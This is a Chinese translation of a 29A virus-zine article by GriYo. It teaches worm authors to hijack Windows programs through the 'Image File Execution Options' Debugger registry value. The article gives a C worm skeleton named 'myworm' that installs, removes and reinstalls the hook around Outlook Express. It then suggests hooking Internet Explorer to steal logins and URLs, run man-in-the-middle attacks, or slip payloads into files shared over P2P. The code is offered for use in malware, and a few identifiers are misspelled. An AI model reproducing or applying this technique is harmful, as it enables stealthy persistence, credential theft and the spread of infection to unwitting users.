=============================================================
执行重定向 -- 通过使用'Image File Execution Options'键值
By GriYo/29A                 
29a-8.017                翻译于2005-7-9                 
=============================================================

我已经厌烦了蠕虫和其他的恶意代码仍然使用众所皆知,老掉牙并且过度使用的注册表键值,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 。

此处我将强调一种能产生很多乐趣的方法,只要加一些想像。

有这样一个注册表键值, 它可以让你重定向执行系统中其他执行文件。虽然这是一个众所皆知并且有文档记载的键值,
但是我并不记得有任何恶意代码使用它, 至少没有足够的想像力来引起我的注意。

着手工作, 跳转到键值
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在里面添加一个新键值,使用一个你想欺骗的执行文件的名字,好比NOTEPAD.EXE
 
注意到在‘Image File Execution Options’键值中已经有一些条目了,这些应用程序和填充大概是一些为了兼容老版本WINDOWS程序的东东。

现在给NOTEPAD.EXE键值加入一个新的串值类型的值项,名为‘Debugger’,并且键入其他执行程序的路径作为它的值。
所有的东西应该看起来这样:

Image File Execution Options
|
|__NOTEPAD.EXE
     Debugger - REG_SZ - C:\WINDOWS\SYSTEM32\CALC.EXE

一旦做好了,在NOTEPAD图标上单击?哪儿有,CALC.EXE被代替执行了,多有趣可笑呀,当你的姐姐试图执行MSN时,却得到了CALC.EXE...
但是我们将要试着超越它...

这儿有一个简单的命令行程序, TEST.C, 它可以显示执行时使用的参数。

  1. ----------------------------------------------------------------------  
  2. #include "stdio.h"  
  3. #include "conio.h"  
  4.  
  5. int main( int argc, char **argv)  
  6. {  
  7.         int count ;  
  8.  
  9.         printf( "Number of arguments: %d\n", argc) ;  
  10.  
  11.         count = 0 ;  
  12.  
  13.         while( count < argc)  
  14.         {  
  15.                 printf( "Argument %d: %s\n", count, argv[ count]) ;  
  16.                 count++ ;  
  17.         }  
  18.  
  19.         while( !kbhit()) ;  
  20.  
  21.         return 0 ;  
  22. }  
  23. ----------------------------------------------------------------------  
  24.  

编译它并将test.exe放在你的根目录,C:\TEST.EXE。现在到注册表的NOTEPAD.EXE键值,修改'Debuuger'让它指向C:\TEST.EXE

在NOTEPAD图标上单击,看有TEST.EXE的输出结果

----------------------------------------------------------------------
Number of arguments: 2
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\notepad.exe
----------------------------------------------------------------------

正如你所见的,原来程序的路径作为参数被传到了test.exe。现在在你的根目录创建一个README.TXT文件,并单击它。
如果NOTEPAD.EXE是你打开.txt文件默认程序,text.exe就会出现,显示如下的信息:

----------------------------------------------------------------------
Number of arguments: 3
Argument 0: c:\test.exe
Argument 1: C:\WINDOWS\system32\NOTEPAD.EXE
Argument 2: C:\readme.txt
----------------------------------------------------------------------

现在你可以看见传给NOTEPAD.EXE的参数也出现,作为传给test.exe的参数。
 
此刻我知道我能写一个能够代替NOTEPAD.EXE执行的程序了。这个程序接受argv[1]并执行它,并通过传入argv[2]或以上作为参数。
在这种情况下,要是你的程序没有显示任何窗口,用户就不会注意到它。

做了什么?你的程序将代替原来的程序被执行。在执行过程中,你的程序会执行原来的程序,使用特定的参数,并挂钩一些API或造成某种变化。
 
当你做这个的时候,要面对的一个问题是:你的程序(在这个例子中的test.exe)是否能够执行原来的程序(NOTEPAD.EXE)?

为什么?因为在‘Image File Execution Options’键值的重定向。当TEST.EXE使用CreatProcess的方法试图执行NOTEPAD.EXE时,
另一个TEST.EXE的实例会被代替执行,造成死循环。

你需要在Image File Execution Options下删除NOTEPAD.EXE的键值,执行原来的NOTEPAD.EXE,执行完后再将NOTEPAD.EXE键值写回。

你也不得不面对你自己制造的一些其他的小问题。 考虑下面没有完成的代码,作为一个起点:

----------------------------------------------------------------------
 

  1. #include <windows.h>  
  2.  
  3. #define WormName "myworm"  
  4. #define SubKey "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\msimn.exe"  
  5. #define SIZEOF_SPOOF_CMDLINE 1024  
  6.  
  7. #ifdef _DEBUG  
  8. void DbgOut( char *Text)  
  9. {  
  10.         MessageBox( NULL, Text, WormName, 0) ;  
  11. }  
  12. #endif  
  13.  
  14. BOOL SetImgHook()  
  15. {  
  16.         char WormPath[ MAX_PATH] ;  
  17.  
  18.         int Size ;  
  19.         HKEY hKey ;  
  20.         BOOL RetVal ;  
  21.  
  22.         Size = GetModuleFileName( NULL, WormPath, MAX_PATH) ;  
  23.  
  24.         RetVal = FALSE ;  
  25.  
  26.         if( RegCreateKey(       HKEY_LOCAL_MACHINE,  
  27.                                 SubKey,  
  28.                                 &hKey) == ERROR_SUCCESS)  
  29.         {  
  30.                 RetVal = ( RegSetValueEx(       hKey,  
  31.                                                 "Debugger",  
  32.                                                 0,  
  33.                                                 REG_SZ,  
  34.                                                 WormPath,  
  35.                                                 Size) == ERROR_SUCCESS) ;  
  36.  
  37.                 RegCloseKey( hKey) ;  
  38.         }  
  39.  
  40.         return RetVal ;  
  41. }  
  42.  
  43. BOOL ClearImgHook()  
  44. {  
  45.         return( RegDeleteKey(   KEY_LOCAL_MACHINE,  
  46.                                 SubKey) == ERROR_SUCCESS) ;  
  47. }  
  48.  
  49. int WinMain(    HINSTANCE hInstance,  
  50.                 HINSTANCE hPrevInstance,  
  51.                 LPSTR lpCmdLine,  
  52.                 int nCmdShow)  
  53. {  
  54.         STARTUPINFO si ;  
  55.         PROCESS_INFORMATION pi ;  
  56.  
  57.         char SpoofCmdLine[ SIZEOF_SPOOF_CMDLINE] ;  
  58.         char *Src ;  
  59.         char *Dst ;  
  60.  
  61.         #ifdef _DEBUG  
  62.         if( ClearImgHook()) DbgOut( "App hook removed") ;  
  63.         else DbgOut( "Error! Cant remove app hook") ;  
  64.         #else  
  65.         ClearImgHook() ;  
  66.         #endif  
  67.  
  68.         GetStartupInfo( &si) ;  
  69.  
  70.         Src = lpCmdLine ;  
  71.         Dst = SpoofCmdLine ;  
  72.  
  73.         while( *Src != '\0')  
  74.         {  
  75.                 if( *Src != '\"')  
  76.                 {  
  77.                         *Dst = *Src ;  
  78.                         Dst++ ;  
  79.                 }  
  80.  
  81.                 Src++ ;  
  82.         }  
  83.  
  84.         *Dst = '\0' ;  
  85.  
  86.         if( CreateProcess(      SpoofCmdLine,  
  87.                                 NULL,  
  88.                                 NULL,  
  89.                                 NULL,  
  90.                                 FALSE,  
  91.                                 REATE_NEW_PROCESS_GROUP|CREATE_SUSPENDED,  
  92.                                 NULL,  
  93.                                 NULL,  
  94.                                 &si,  
  95.                                 &pi))  
  96.         {  
  97.                 #ifdef _DEBUG  
  98.                 DbgOut( "Original app executed successfully") ;  
  99.                 #endif  
  100.  
  101.                 //  
  102.                 // Place hooks over original executable now  
  103.                 //  
  104.  
  105.                 ResumeThread( pi.hThread) ;  
  106.                 WaitForSingleObject( pi.hProcess, INFINITE) ;  
  107.  
  108.                 #ifdef _DEBUG  
  109.                 DbgOut( "Original app closed") ;  
  110.                 #endif  
  111.         }  
  112.         #ifdef _DEBUG  
  113.         else 
  114.         {  
  115.                 DbgOut( "Error! Unable to execute original app") ;  
  116.         }  
  117.         #endif  
  118.  
  119.         #ifdef _DEBUG  
  120.         if( SetImgHook()) DbgOut( "App hook reinstalled") ;  
  121.         else DbgOut( "Error! Cant reinstall app hook") ;  
  122.         #else  
  123.         SetImgHook() ;  
  124.         #endif  
  125.  
  126.         return 0 ;  
  127. }  
  128.  

----------------------------------------------------------------------

这就是我所想的:
 
* 我不必使用每个蠕虫都已经使用的同一个垃圾似的注册表键值。

* 在内存中修改/挂钩原始程序作为一些变化,当执行时不用担心WINDOWS文件保护。

最后,决定你将要玩弄的程序。一些想法:

* INTERNET EXPLORER

通过给IEXPLORER.EXE或者它的DLL放置内存钩子,你可以截获认证,访问过的URL 或者发动你发明的任何中间人攻击。

* 邮件客户端
 
这儿没什么好说的?发挥自己的想像力,但是请不要写愚蠢的大量邮件废物,只能感染那些执行他们收到所有东西的傻瓜。
如果你创建什么,创建一些新的东西要比展示WINDOWS用户的愚蠢多得多。

* WINDOWS 资源管理器

你的程序能够得到由EXPLORER.EXE所能做一切的全部访问权,很有创造性。

* P2P

Mmmm?让我们指出下面的情形;你的程序代替某些P2P软件接管控制,在它上放置钩子并运行原始程序。
当远程用户申请某个文件,你的程序加一些东西到那个文件中,传给P2P程序发送,之后再将文件恢复原状。

这就是全部,编程快乐,享受创意!:-)